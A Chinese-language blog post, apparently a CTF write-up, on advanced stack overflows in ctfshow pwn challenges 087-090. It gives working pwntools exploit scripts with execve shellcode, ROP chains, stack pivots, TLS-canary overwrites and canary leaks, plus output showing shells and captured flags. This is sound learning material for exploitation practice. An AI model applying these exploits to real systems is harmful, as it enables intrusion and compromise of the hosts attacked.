首页/文章/CTF PWN

花式栈溢出

对于花式栈溢出的学习

学习不是为了征服世界,而是为了不辜负每一次好奇心的出发。

pwn087

alt text

保护都没开,可以考虑 ret2shellcode

c
int ctfshow(){  char s[28]; // [esp+8h] [ebp-20h] BYREF  puts("What's your name?");  fflush(stdout);  fgets(s, 50, stdin);  printf("Hello %s.", s);  return fflush(stdout);}

这里可以看见有明显的溢出点,但是我们只溢出了 50-32字节能够控制 bp 指针和剩余返回地址,长度是不太够我们 ROP 的,那我们考虑 pivot ,控制 sp 指针指向我们 shellcodejump

python
#! /usr/bin/env python3from pwn import *p = process('./pwn')context(arch='i386', os='linux')p.recvuntil(b"What's your name?\n")payload = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"jmp_esp = 0x08048d17  sub_esp = asm("sub esp,0x28;jmp esp")payload = payload.ljust(36, b"A")payload += p32(jmp_esp)payload += sub_espp.sendline(payload)p.interactive()
bash
[+] Starting local process './pwn': pid 12958[*] Switching to interactive modeHello 1\xc0Ph//shh/bin\x89\xe3PS\x89\xe11Ұ\x0b̀AAAAAAAAAAA\x17\x8d\x04\x08\x83\xec(\xff\xe4.$ whoamilmx$  

pwn088

alt text

开了 canaryNX

c
int __fastcall main(int argc, const char **argv, const char **envp){  int v4; // [rsp+8h] [rbp-18h] BYREF  int v5; // [rsp+Ch] [rbp-14h]  _QWORD v6[2]; // [rsp+10h] [rbp-10h] BYREF  v6[1] = __readfsqword(0x28u);  setbuf(_bss_start, 0);  printf("Where What?");  v5 = __isoc99_scanf("%llx %d", v6, &v4);  if ( v5 != 2 )    return 0;  *(_BYTE *)v6[0] = v4;  if ( v4 == 255 )    puts("No flag for you");  return 0;}signed __int64 _(){  return sys_mprotect((unsigned __int64)&loc_4006D1 & 0xFFFFFFFFFFFFF000LL, 0x1000u, 7u);}

可以看见已经给了 RWX 权限,那我们就考虑 ret2shellcode 但是从源码来看,我们是没有明显的溢出点的,而*(_BYTE *)v6[0] = v4; 这里是把 v4 能写到 v6[0] 的低一个字节上,我们先看汇编

asm
loc_400756:mov     rax, [rbp+var_10]mov     edx, [rbp+var_18]mov     [rax], dlmov     eax, [rbp+var_18]cmp     eax, 0FFh            jnz     short loc_400773       // 0x400767400767     jnz  0xa     //jnz 后面的数字指的是相对下一条指令的偏移,这个数字是有符号整数

那么我们可以将 0xa 更改,更改至

asm
lea     rdx, [rbp+var_18]     //0x40072clea     rax, [rbp+var_10]mov     rsi, raxmov     edi, offset aLlxD ; "%llx %d"

那么这里我们将 0xa 修改至 0xc3 那么之后就可以无限任意写,刚才 mprotect 开辟了一页 RWX 我们可以将 shellcode 写入到这里,之后 call _puts ,我们修改 call shellcode 的地址即可

python
#!/usr/bin/env python3from pwn import *context(os="linux", arch="amd64", log_level="info")elf = ELF("./pwn")#io = process("./pwn")io = remote("pwn.challenge.ctf.show", 28263)def write_byte(addr, value):    io.sendline(f"{addr:x} {value & 0xff}".encode())write_byte(0x400768, 0xC3)shellcode_addr = 0x400900shellcode = asm(shellcraft.sh())for off, byte in enumerate(shellcode):    write_byte(shellcode_addr + off, byte)call_next_rip = 0x400773disp = shellcode_addr - call_next_ripfor off, byte in enumerate(p32(disp)):    write_byte(0x40076F + off, byte)write_byte(0x400768, 0xFF)io.interactive()
bash
[+] Opening connection to pwn.challenge.ctf.show on port 28263: Done[*] Switching to interactive modeWhere What?$ cat c*ctfshow{7082ea2e-3562-411b-9f20-549e14e736e8}$  

pwn089

bash
[*] '/home/lmx/pwn/ctfshow/栈溢出/089_pwn89/pwn'    Arch:       amd64-64-little    RELRO:      Full RELRO    Stack:      Canary found    NX:         NX enabled    PIE:        No PIE (0x400000)    Stripped:   No
c
int __fastcall main(int argc, const char **argv, const char **envp){  pthread_t newthread[2]; // [rsp+0h] [rbp-10h] BYREF  newthread[1] = __readfsqword(0x28u);  init(argc, argv, envp);  logo();  pthread_create(newthread, 0, start, 0);  if ( pthread_join(newthread[0], 0) )  {    puts("exit failure");    return 1;  }  else  {    puts("Bye bye");    return 0;  }}void *__fastcall start(void *a1){  unsigned __int64 v2; // [rsp+8h] [rbp-1018h]  _BYTE s[4104]; // [rsp+10h] [rbp-1010h] BYREF  unsigned __int64 v4; // [rsp+1018h] [rbp-8h]  v4 = __readfsqword(0x28u);  memset(s, 0, 0x1000u);  puts("Welcome to CTFshowPWN!");  puts("You want to send:");  v2 = lenth();  if ( v2 <= 0x10000 )  {    readn(0, (__int64)s, v2);    puts("See you next time!");  }  else  {    puts("Are you kidding me?");  }  return 0;}__int64 __fastcall readn(int a1, __int64 a2, unsigned __int64 a3){  unsigned __int64 v5; // [rsp+20h] [rbp-10h]  ssize_t v6; // [rsp+28h] [rbp-8h]  v5 = 0;  while ( v5 < a3 )  {    v6 = read(a1, (void *)(v5 + a2), a3 - v5);    if ( v6 == -1 )    {      if ( *__errno_location() != 11 && *__errno_location() != 4 )        return -1;    }    else    {      if ( !v6 )        return v5;      v5 += v6;    }  }  return v5;}__int64 lenth(){  char s[8]; // [rsp+0h] [rbp-10h] BYREF  unsigned __int64 v2; // [rsp+8h] [rbp-8h]  v2 = __readfsqword(0x28u);  fgets(s, 8, stdin);  return atol(s);}

这里程序的逻辑我们可以看到,是程序中开了一个线程,同时溢出点我们是足够大的,正常情况下,我们 canary 的逻辑是

asm
  mov rax, qword ptr fs:0x28  mov [rbp-0x8], rax

此程序内存情况是

text
  低地址  线程栈 buffer  saved canary  saved rbp  return address  ...  TLS / TCB  高地址

那么我们可以完全将 fs:0x28 和栈上覆盖为同一个 canary 这样子

asm
  mov rcx, [rbp-0x8]  xor rcx, qword ptr fs:0x28

我们就可以通过程序检查。
有一个关键点:

c
if ( v2 <= 0x10000 )  {    readn(0, (__int64)s, v2);    puts("See you next time!");  }

溢出后还会打印 See you next time!,那么在 puts 内部其实调用的是 write() 函数,在 glibc 里,write/read 这类函数是 cancellation point,会检查当前线程状态。它会通过 TLS 找线程结构,例如类似:

c
  self = *(void **)(fs_base + 0x10);  flags = *(int *)(self + 某个偏移);

fs 中,常见布局

asm
  fs:0x00  tcb  fs:0x08  dtv  fs:0x10  self        当前线程结构指针  fs:0x18  multiple_threads 等字段  fs:0x20  sysinfo  fs:0x28  stack_guard,  fs:0x30  pointer_guard

那么如果覆盖成 0x4141414141 那这个是坏地址,会崩,我们需要让这个地址能读到东西,那么 .bss 是最符合要求的。

bash
pwndbg> p/x $rbp$1 = 0x7ffff7bfeea0pwndbg> p/x $fs_base$3 = 0x7ffff7bff6c0pwndbg> p/x $rbp - 0x8$4 = 0x7ffff7bfee98pwndbg> p/x $rbp - 0x1010$5 = 0x7ffff7bfde90pwndbg> p/x $fs_base + 0x28$6 = 0x7ffff7bff6e8pwndbg> x/gx $fs_base + 0x280x7ffff7bff6e8: 0x70c05989ce791400pwndbg> x/gx $rbp - 0x80x7ffff7bfee98: 0x70c05989ce791400 # TLS canary 相对 buf 的偏移pwndbg> p/d ((unsigned long long)$fs_base + 0x28) - ((unsigned long long)$rbp - 0x1010)$7 = 6232 # TLS self 相对 buf 的偏移 pwndbg>  p/d ((unsigned long long)$fs_base + 0x10) - ((unsigned long long)$rbp - 0x1010)$9 = 6208pwndbg> p/d ((unsigned long long)$fs_base + 0x10) - ((unsigned long long)$rbp + 0x20)$12 = 2064pwndbg> p/d ((unsigned long long)$fs_base + 0x28) - ((unsigned long long)$rbp + 0x20)$13 = 2088
python
#!/usr/bin/env python3from pwn import *context(arch="amd64", os="linux", log_level="info")HOST = "pwn.challenge.ctf.show"PORT = 28225elf = ELF("./pwn")pop_rdi_ret = 0x400be3pop_rsi_r15_ret = 0x400be1leave_ret = 0x40098cbss_addr = 0x602f00libc_puts = 0x80970one_gadget = 0x4f302io = remote(HOST, PORT)payload = b"a" * 0x1010payload += p64(bss_addr - 8)payload += p64(pop_rdi_ret)payload += p64(elf.got["puts"])payload += p64(elf.plt["puts"])payload += p64(pop_rdi_ret)payload += p64(0)payload += p64(pop_rsi_r15_ret)payload += p64(bss_addr)payload += p64(0)payload += p64(elf.plt["read"])payload += p64(leave_ret)payload = payload.ljust(0x2000, b"a")io.sendlineafter(b"send:\n", str(len(payload)).encode())io.send(payload)io.recvuntil(b"See you next time!\n")puts_addr = u64(io.recv(6).ljust(8, b"\x00"))libc_base = puts_addr - libc_putsone = libc_base + one_gadgetlog.success(f"puts = {hex(puts_addr)}")log.success(f"libc = {hex(libc_base)}")log.success(f"one_gadget = {hex(one)}")io.send(p64(one))io.sendline(b"cat /ctfshow_flag")io.interactive()

刚一直在试 ret2libc ,但总是崩,本地和远程偏移总还对不上,现在我们利用链改短,我们迁移到 bss ,并再次布置 one_gadget

pwn090

bash
[*] '/home/lmx/pwn/ctfshow/栈溢出/090_pwn90/pwn'    Arch:       amd64-64-little    RELRO:      Partial RELRO    Stack:      Canary found    NX:         NX enabled    PIE:        PIE enabled

保护全开

c
__int64 sub_960(){  _QWORD buf[6]; // [rsp+0h] [rbp-30h] BYREF  buf[5] = __readfsqword(0x28u);  setvbuf(stdin, 0, 2, 0);  setvbuf(_bss_start, 0, 2, 0);  memset(buf, 0, 32);  puts("Welcome CTFshow:");  read(0, buf, 0x30u);  printf("Hello %s:\n", (const char *)buf);  read(0, buf, 0x60u);  return 0;}int sub_A3E(){  return system("/bin/sh");}

我们可以先利用 printf 打印出 canary,然后修改返回地址低字节 \x42 跳到 lea rdi, command

python
#! /usr/bin/env python3from pwn import *p = remote('pwn.challenge.ctf.show', 28105)#p = process('./pwn')elf = ELF('./pwn')context(arch='amd64', os='linux')p.recvuntil(b'Welcome CTFshow:\n')payload = b'b' * 40 + b'a'p.send(payload)p.recvuntil(b'a')canary = u64(b'\x00' + p.recv(7))print(hex(canary))payload = b'a' * 40 + p64(canary) + b'a' * 8 + b'\x42'p.send(payload)p.interactive()

许可协议

本文采用 署名-非商业性使用-相同方式共享 4.0 国际 许可协议,转载请注明出处。

读者回信

正在翻开留言页...